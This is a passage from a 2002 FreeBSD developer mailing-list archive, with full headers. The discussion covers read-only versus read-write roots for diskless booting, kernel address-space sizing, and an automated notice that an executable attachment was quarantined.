FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 9:47:58 2002 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id 3DF4937B400; Tue, 23 Apr 2002 09:47:51 -0700 (PDT) Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1]) by dragon.nuxi.com (8.12.2/8.12.2) with ESMTP id g3NGliYm085786; Tue, 23 Apr 2002 09:47:44 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.12.2/8.12.2/Submit) id g3NGkT4W085766; Tue, 23 Apr 2002 09:46:29 -0700 (PDT) Date: Tue, 23 Apr 2002 09:46:28 -0700 From: "David O'Brien" To: Robert Watson Cc: Terry Lambert , Danny Braniss , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting Message-ID: <20020423094628.A85404@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: <20020423075148.I52794@dragon.nuxi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from rwatson@FreeBSD.ORG on Tue, Apr 23, 2002 at 12:19:58PM -0400 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 12:19:58PM -0400, Robert Watson wrote: > diskless_root_readonly="NO" # Make it "YES" for readonly good. > diskless_etc_localmd="NO" # Make it "YES" to have the > # diskless environment md-mount and replicate /etc from /conf Seems the "if [ -d ]" tests in rc.diskless are OK already. If we add this knob, then a knob should also be added for the source of the files rather than assuming /conf/etc or /conf/{client}/etc. In other words either really engineer this to make diskless properly configurable, or have the minimal number of knobs, etc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 10:32:59 2002 Delivered-To: freebsd-current@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 9292A37B400; Tue, 23 Apr 2002 10:32:56 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cs.huji.ac.il with esmtp (Exim 3.35 #2) id 17049r-0005rF-00; Tue, 23 Apr 2002 20:32:51 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: obrien@FreeBSD.ORG Cc: Robert Watson , Terry Lambert , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting In-Reply-To: Message from "David O'Brien" of "Tue, 23 Apr 2002 09:46:28 PDT." <20020423094628.A85404@dragon.nuxi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 23 Apr 2002 20:32:51 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > On Tue, Apr 23, 2002 at 12:19:58PM -0400, Robert Watson wrote: > > diskless_root_readonly="NO" # Make it "YES" for readonly > > good. > > > diskless_etc_localmd="NO" # Make it "YES" to have the > > # diskless environment md-mount and replicate /etc from /conf > > Seems the "if [ -d ]" tests in rc.diskless are OK already. If we add > this knob, then a knob should also be added for the source of the files > rather than assuming /conf/etc or /conf/{client}/etc. In other words > either really engineer this to make diskless properly configurable, or > have the minimal number of knobs, etc. nice, but impractical, because of the chicken and egg problem, or in other words, the load/over-write of rc.conf[.local] happens a bit later ... danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 10:42:18 2002 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id C2EC037B41A; Tue, 23 Apr 2002 10:42:04 -0700 (PDT) Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1]) by dragon.nuxi.com (8.12.2/8.12.2) with ESMTP id g3NHftYm006208; Tue, 23 Apr 2002 10:41:55 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.12.2/8.12.2/Submit) id g3NHeeII006012; Tue, 23 Apr 2002 10:40:40 -0700 (PDT) Date: Tue, 23 Apr 2002 10:40:40 -0700 From: "David O'Brien" To: Danny Braniss Cc: Robert Watson , Terry Lambert , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting Message-ID: <20020423104040.A2524@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from danny@cs.huji.ac.il on Tue, Apr 23, 2002 at 08:32:51PM +0300 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 08:32:51PM +0300, Danny Braniss wrote: > > On Tue, Apr 23, 2002 at 12:19:58PM -0400, Robert Watson wrote: > > > diskless_root_readonly="NO" # Make it "YES" for readonly > > > > good. > > > > > diskless_etc_localmd="NO" # Make it "YES" to have the > > > # diskless environment md-mount and replicate /etc from /conf > > > > Seems the "if [ -d ]" tests in rc.diskless are OK already. If we add > > this knob, then a knob should also be added for the source of the files > > rather than assuming /conf/etc or /conf/{client}/etc. In other words > > either really engineer this to make diskless properly configurable, or > > have the minimal number of knobs, etc. > > nice, but impractical, because of the chicken and egg problem, or in other > words, the load/over-write of rc.conf[.local] happens a bit later ... Please explain farther what is impractical and where the chicken-and-egg problem is. I rc.diskless1 already has: if [ -d /conf/default/etc ]; then ..snip.. if [ -d /conf/${i}/etc ]; then To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 10:55: 1 2002 Delivered-To: freebsd-current@freebsd.org Received: from scaup.prod.itd.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by hub.freebsd.org (Postfix) with ESMTP id E630C37B400; Tue, 23 Apr 2002 10:54:55 -0700 (PDT) Received: from pool0547.cvx22-bradley.dialup.earthlink.net ([209.179.200.37] helo=mindspring.com) by scaup.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 1704VC-0002Ci-00; Tue, 23 Apr 2002 10:54:54 -0700 Message-ID: <3CC59FD2.4846FE32@mindspring.com> Date: Tue, 23 Apr 2002 10:54:26 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: obrien@FreeBSD.ORG Cc: Danny Braniss , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting References: <20020422234701.A52794@dragon.nuxi.com> <3CC539C3.6A1B0281@mindspring.com> <20020423075148.I52794@dragon.nuxi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David O'Brien wrote: > > > The very original "solution" was to mount NFS / RW. The move to > > > /conf/default/etc was someone's special needs leaking into the FreeBSD > > > repository. If you want to special case, things be my guest -- add an > > > elif test; but leave RW NFS mounted / alone. > > > > This isn't just about NFS... it's also about Fash devices, which > > are only warranteed for a limited number of writes, which mounting > > R/W would really eat into, and it's for read-only media, like in > > the "ClosedBSD" and "PicoBSD" FreeBSD based firewalls, I think. > > As I said Terry, change the patch to not take away RW /. > Add an elif check, add a `readonly_root' rc.conf knob, etc... > But people should stop assuming everyone wants their special needs and > local weirdness. In my experience, the read/write NFS / mount requires that you seriously limit the number of client machines, to get any performance at all. I understand that this is the way that the old SunOS 4.1.3u2 based engineering environments used to be recommended to be configured by the green-and-which Systeam Adminstrator's Guide for SunOS. I would argue that this is not really appropriate for a cluster or other common use today. So if your argument is based on "make no assumptions", it's OK, but you seem to be repeating the mantra "assume the default most common use is like the old SunOS 4.1.3u2 recommended use for a small number of IPC boxes". I think the default should be a read-only /, and if there is a knob, it's to make the / read/write. In SunOS diskless/dataless configurations, as installed off CDROM, the intent of a read/write / was to permit local files to be modified... specifically, /tmp and /etc/hosts and the default configuration data for the ethernet. This was really a desirable (at the time) side effect (IMO), with the real intent being to provide a root image that was customized for the hardware being booted. With the prevalence of kernel modules to support the range of hardware on differently configured diskless/dataless workstations, it really makes much more sense to share a single / image among a lot of machines. If the intent isn't NFS mounting, but local read-only/read-mostly media (which I would argue is a better match for todays common usage), then really you want it to be the default. If that isn't enough: you aren't going to be able to set the knob to make it read-only, after the fact, but setting a knob to make it read/write after the fact is really easy, so it should use negative logic for the feature, anyway. 8-). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 11:17:49 2002 Delivered-To: freebsd-current@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 0A25237B41D; Tue, 23 Apr 2002 11:17:41 -0700 (PDT) Received: from pool0547.cvx22-bradley.dialup.earthlink.net ([209.179.200.37] helo=mindspring.com) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 1704rE-00061V-00; Tue, 23 Apr 2002 11:17:40 -0700 Message-ID: <3CC5A527.180DB66D@mindspring.com> Date: Tue, 23 Apr 2002 11:17:11 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Robert Watson Cc: David O'Brien , Danny Braniss , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Robert Watson wrote: > This would provide full compatibility with the current model for those > that want it (and I think it's more people than you think) at the same > time as changing the system to provide easy support for the environment > you're looking for. If the default settings are changing, it should be a > "5.0 feature" not a "4.x feature". FWIW, I thought this was a "new feature", since diskless/dataless has never really worked for me, without a lot of local hacking to make it work. So put me down on the list for "don't change the default behaviour", if someone has actually been able to make the thing work in 4.x with the supplied scripts. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 11:38:31 2002 Delivered-To: freebsd-current@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 0AD3637B41E; Tue, 23 Apr 2002 11:38:29 -0700 (PDT) Received: from pool0547.cvx22-bradley.dialup.earthlink.net ([209.179.200.37] helo=mindspring.com) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 1705BM-0000q1-00; Tue, 23 Apr 2002 11:38:28 -0700 Message-ID: <3CC5AA07.85DE129E@mindspring.com> Date: Tue, 23 Apr 2002 11:37:59 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: obrien@FreeBSD.ORG, Danny Braniss , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting References: <20020422234701.A52794@dragon.nuxi.com> <3CC539C3.6A1B0281@mindspring.com> <20020423075148.I52794@dragon.nuxi.com> <3CC59FD2.4846FE32@mindspring.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Terry Lambert wrote: > configured by the green-and-which Systeam Adminstrator's Guide green-and-white System > for SunOS. Ugh. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 11:45:46 2002 Delivered-To: freebsd-current@freebsd.org Received: from perd1.estpak.ee (ld1.estpak.ee [194.126.101.98]) by hub.freebsd.org (Postfix) with ESMTP id 8D64537B41D; Tue, 23 Apr 2002 11:45:36 -0700 (PDT) Received: from myhakas.estpak.ee (myhakas.estpak.ee [194.126.115.54]) by perd1.estpak.ee (Postfix) with ESMTP id 3E8B388055; Tue, 23 Apr 2002 21:45:35 +0300 (EEST) Received: from myhakas.estpak.ee (localhost [127.0.0.1]) by myhakas.estpak.ee (8.12.2/8.12.2) with ESMTP id g3NIjZC9030376; Tue, 23 Apr 2002 21:45:35 +0300 (EEST) (envelope-from vallo@myhakas.estpak.ee) Received: (from vallo@localhost) by myhakas.estpak.ee (8.12.2/8.12.2/Submit) id g3NIjYYF030375; Tue, 23 Apr 2002 21:45:34 +0300 (EEST) Date: Tue, 23 Apr 2002 21:45:34 +0300 From: Vallo Kallaste To: "Marc G. Fournier" Cc: Terry Lambert , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020423184534.GA30212@myhakas.estpak.ee> Reply-To: kalts@estpak.ee References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020423092909.N1721-100000@mail1.hub.org> User-Agent: Mutt/1.5.0i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 09:44:50AM -0300, "Marc G. Fournier" wrote: > Next, again, if I'm reading this right ... if I set my KVA to 3G, > when the system boots, it will reserve 3G of *physical* RAM for > the kernel itself, correct? So on a 4G machine, 1G of *physical* > RAM will be available for UVAs ... so, if I run >1G worth of > processes, that is where swapping to disk comes in, right? Other > then the massive performance hit, and the limit you mention about > some parts of UVA not being swappable, I could theoretically have > >4G of swap to page out to? You can have up to ~12GB of usable swap space, as I've heard. Don't remember why such arbitrary limit, unfortunately. Information about such topics is spread over several lists arhives, usually the subjects are strange, too.. so hard to find out. As I understand it you are on the track, having 3GB allocated to KVA means 1GB for UVA, whatever it exactly means. Userspace processes will allocate memory from UVA space and can grow over 1GB of size if needed by swapping. You can certainly have more than one over-1GB process going on at the same time, but swapping will constrain your performance. I'm sure Terry or some other knowledgeable person will correct me if it doesn't make sense. > Is there a reason why this stuff isn't auto-scaled based on RAM as > it is? Probably lack of manpower, to code it up you'll have to understand every bit of it, but as we currently see, we don't understand it, probably many others as well :-) -- Vallo Kallaste kalts@estpak.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 11:50:32 2002 Delivered-To: freebsd-current@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 073A237B41F; Tue, 23 Apr 2002 11:50:22 -0700 (PDT) Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.6/8.11.6) with SMTP id g3NIcQw00630; Tue, 23 Apr 2002 14:38:26 -0400 (EDT) (envelope-from robert@fledge.watson.org) Date: Tue, 23 Apr 2002 14:38:26 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org To: Terry Lambert Cc: "David O'Brien" , Danny Braniss , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting In-Reply-To: <3CC5A527.180DB66D@mindspring.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 23 Apr 2002, Terry Lambert wrote: > Robert Watson wrote: > > This would provide full compatibility with the current model for those > > that want it (and I think it's more people than you think) at the same > > time as changing the system to provide easy support for the environment > > you're looking for. If the default settings are changing, it should be a > > "5.0 feature" not a "4.x feature". > > FWIW, I thought this was a "new feature", since diskless/dataless has > never really worked for me, without a lot of local hacking to make it > work. > > So put me down on the list for "don't change the default behaviour", > if someone has actually been able to make the thing work in 4.x with > the supplied scripts. I have't really used the diskless environment with 4.x, but use it extensively in my test/development environments for 5.0. Stateless workstations are great when it comes to file system debugging, especially since newfs is orders of magnitude faster than fsck :-). Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 11:53:20 2002 Delivered-To: freebsd-current@freebsd.org Received: from xig.com (night.xig.com [207.247.80.135]) by hub.freebsd.org (Postfix) with ESMTP id E954237B435; Tue, 23 Apr 2002 11:53:06 -0700 (PDT) Received: (from chambers@localhost) by xig.com (8.9.3/8.9.3) id MAA92110; Tue, 23 Apr 2002 12:53:06 -0600 (MDT) Date: Tue, 23 Apr 2002 12:53:06 -0600 (MDT) Message-Id: <200204231853.MAA92110@xig.com> To: freebsd-current@freebsd.org Subject: Re: Hello,support,how are you References: <200204231507.g3NF7wh04926@tank.panorama.sth.ac.at> In-Reply-To: <200204231507.g3NF7wh04926@tank.panorama.sth.ac.at> From: "Procmail Security daemon" Cc: X-Loop: EMAIL SECURITY WARNING mist.xig.com mnqsfq382di8snqosnd7uk2djs Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Regarding your message to chambers msgid=<200204231507.g3NF7wh04926@tank.panorama.sth.ac.at> *** SECURITY WARNING *** The antivirus scanner installed at XiG.COM detected that your message may contain hazardous embedded scripting or attachments. We do not accept mail with executable or MS-Document attachments. If you have any questions, please reply to this notification message. It is possible that your message was infected by a virus. You should make sure your virus signature list is up-to-date and then rescan your computer. If the document you are sending is MS-Word, please try saving it using a different format (such as Rich Text - "RTF") that will remove all macros. Cordially, Xi Graphics System Adminstration sysadmin@xig.com REPORT: Trapped poisoned executable "contents-pb2500tc.scr" REPORT: Not a document, or already poisoned by filename. Not scanned for macros. STATUS: Message quarantined, not delivered to recipient. -- Message sanitized on mist.xig.com See http://www.impsec.org/email-tools/procmail-security.html for details. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 11:58:15 2002 Delivered-To: freebsd-current@freebsd.org Received: from snipe.prod.itd.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by hub.freebsd.org (Postfix) with ESMTP id 9011337B41D; Tue, 23 Apr 2002 11:58:08 -0700 (PDT) Received: from pool0547.cvx22-bradley.dialup.earthlink.net ([209.179.200.37] helo=mindspring.com) by snipe.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 1705UN-0001vY-00; Tue, 23 Apr 2002 11:58:07 -0700 Message-ID: <3CC5AEA3.CC26EB52@mindspring.com> Date: Tue, 23 Apr 2002 11:57:39 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Robert Watson Cc: David O'Brien , Danny Braniss , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Robert Watson wrote: > I have't really used the diskless environment with 4.x, but use it > extensively in my test/development environments for 5.0. Stateless > workstations are great when it comes to file system debugging, especially > since newfs is orders of magnitude faster than fsck :-). THat is what I primarily use them for, as well. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 12:27:33 2002 Delivered-To: freebsd-current@freebsd.org Received: from harrier.prod.itd.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by hub.freebsd.org (Postfix) with ESMTP id 0D5C537B4A8; Tue, 23 Apr 2002 12:26:14 -0700 (PDT) Received: from pool0547.cvx22-bradley.dialup.earthlink.net ([209.179.200.37] helo=mindspring.com) by harrier.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 1705vM-0006DW-00; Tue, 23 Apr 2002 12:26:00 -0700 Message-ID: <3CC5B52B.49A5A719@mindspring.com> Date: Tue, 23 Apr 2002 12:25:31 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: kalts@estpak.ee Cc: "Marc G. Fournier" , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Vallo Kallaste wrote: > You can have up to ~12GB of usable swap space, as I've heard. Don't > remember why such arbitrary limit, unfortunately. Information about > such topics is spread over several lists arhives, usually the > subjects are strange, too.. so hard to find out. As I understand it > you are on the track, having 3GB allocated to KVA means 1GB for UVA, > whatever it exactly means. Userspace processes will allocate memory > from UVA space and can grow over 1GB of size if needed by swapping. > You can certainly have more than one over-1GB process going on at > the same time, but swapping will constrain your performance. > I'm sure Terry or some other knowledgeable person will correct me if > it doesn't make sense. Actually, you have a total concurrent virtual address space of 4G. If you assign 3G of that to KVA, then you can never exceed 1G of space for a user process, under any circumstances. This is because a given user process and kernel must be able to exist simultaneously in order to do things like copyin/copyout. > > Is there a reason why this stuff isn't auto-scaled based on RAM as > > it is? > > Probably lack of manpower, to code it up you'll have to understand > every bit of it, but as we currently see, we don't understand it, > probably many others as well :-) A lot of things are autosized. Matt Dillon made some recent changes in this regard. But many things happen based on expected usage. You can't auto-size the KVA because the kernel is relocated at the base of the KVA space. As far as it's concerned, it's loaded at 1M, and as far as processes are concerned, they're loaded in low memory. The main barrier to autosizing things so that expect usage is not an issue is that you have to preallocate page mappings, if not physical pages to back them, at boot time, for anything that can be allocated at interrupt time (e.g. mbufs). The other barrier here is that some things are grouped together that probably out to be seperate: e.g. "maxfiles" controls inpcb, tcpcb, and udpcb allocation, which occurs at boot time, as well as other limits that occur at runtime. So using the sysctl at runtime doesn't adjust everything you think it does, but doing it in /boot/loader.conf does. For the same reason, doing things like setting hash table sizes, and then adjusting things larger doesn't really work out very well, either. It really does boil down to understanding every bit of it... and the lack of resources to help you do that. Bryan Costales is not just "a lazy butt"... there are good, economic reasons that there isn't yet an updated "sendmail" book covering more recent versions of the "sendmail" program. Writing a useful (non-"fluff") technical book, optimistically, takes 2080 hours ... or 40 hours per week for 52 weeks... a man year. By the time you are done, the book is a year out of date, and even if you worked really hard and kept it up to date (e.g. you had 4 authors and spent only 6 months of wall time on the book), the shelf life on the book is still pretty short. The recent "How do I change my KVA size?" question is a good example: a book that came out six months ago would have needed four revisions, based on the changes to the "config" program and the code involved, and would be out of date for 4.5-STABLE, 5.0-RELEASE, and 4.6-RELEASE (when it comes out). At that point, the online version's addenda/errata is so much more useful than the book itself, that there's really no good justification for buying the bok instead of just looking at the online information: it's a totally different set of information. If FreeBSD wants someone to write an in depth book, it's got to have a commitment to not change some basic principles and code for long enough for the book to be useful with something more than just a really old CDROM included in the book itself. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 13: 4:56 2002 Delivered-To: freebsd-current@freebsd.org Received: from perd1.estpak.ee (ld1.estpak.ee [194.126.101.98]) by hub.freebsd.org (Postfix) with ESMTP id E043837B42A; Tue, 23 Apr 2002 13:04:50 -0700 (PDT) Received: from myhakas.estpak.ee (myhakas.estpak.ee [194.126.115.54]) by perd1.estpak.ee (Postfix) with ESMTP id B7E7888077; Tue, 23 Apr 2002 23:04:49 +0300 (EEST) Received: from myhakas.estpak.ee (localhost [127.0.0.1]) by myhakas.estpak.ee (8.12.2/8.12.2) with ESMTP id g3NK4nC9030807; Tue, 23 Apr 2002 23:04:49 +0300 (EEST) (envelope-from vallo@myhakas.estpak.ee) Received: (from vallo@localhost) by myhakas.estpak.ee (8.12.2/8.12.2/Submit) id g3NK4nnm030806; Tue, 23 Apr 2002 23:04:49 +0300 (EEST) Date: Tue, 23 Apr 2002 23:04:49 +0300 From: Vallo Kallaste To: Terry Lambert Cc: kalts@estpak.ee, "Marc G. Fournier" , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020423200449.GA30662@myhakas.estpak.ee> Reply-To: kalts@estpak.ee References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> <3CC5B52B.49A5A719@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3CC5B52B.49A5A719@mindspring.com> User-Agent: Mutt/1.5.0i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 12:25:31PM -0700, Terry Lambert wrote: > Vallo Kallaste wrote: > > You can have up to ~12GB of usable swap space, as I've heard. Don't > > remember why such arbitrary limit, unfortunately. Information about > > such topics is spread over several lists arhives, usually the > > subjects are strange, too.. so hard to find out. As I understand it > > you are on the track, having 3GB allocated to KVA means 1GB for UVA, > > whatever it exactly means. Userspace processes will allocate memory > > from UVA space and can grow over 1GB of size if needed by swapping. > > You can certainly have more than one over-1GB process going on at > > the same time, but swapping will constrain your performance. > > I'm sure Terry or some other knowledgeable person will correct me if > > it doesn't make sense. > > Actually, you have a total concurrent virtual address space of 4G. > > If you assign 3G of that to KVA, then you can never exceed 1G of > space for a user process, under any circumstances. > > This is because a given user process and kernel must be able > to exist simultaneously in order to do things like copyin/copyout. Hmm, ok, but can we have more than one 1G user process at one time? Four 500MB ones and so on? Somehow I've made such conclusion based on previous information. Should be so, otherwise I don't understand how swapping will fit into overall picture. -- Vallo Kallaste kalts@estpak.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 13:21:42 2002 Delivered-To: freebsd-current@freebsd.org Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [205.147.43.8]) by hub.freebsd.org (Postfix) with ESMTP id 6694D37B41C; Tue, 23 Apr 2002 13:21:32 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g3NKKJb38154; Tue, 23 Apr 2002 13:20:19 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200204232020.g3NKKJb38154@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 23 Apr 2002 13:20:14 -0700 From: Dave Hayes Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Terry Lambert (who fits my arbitrary definition of a "good" cynic) writes: > It's a hazard of Open Source projects, in general, that there are > so many people hacking on whatever they think is cool that nothing > ever really gets built to a long term design plan that's stable > enough that a book stands a chance of having a 1 year lifetime. I could not help but notice your multiple attempts at expresing this particular concept often, that is...an implied necessity of a book that explains what's 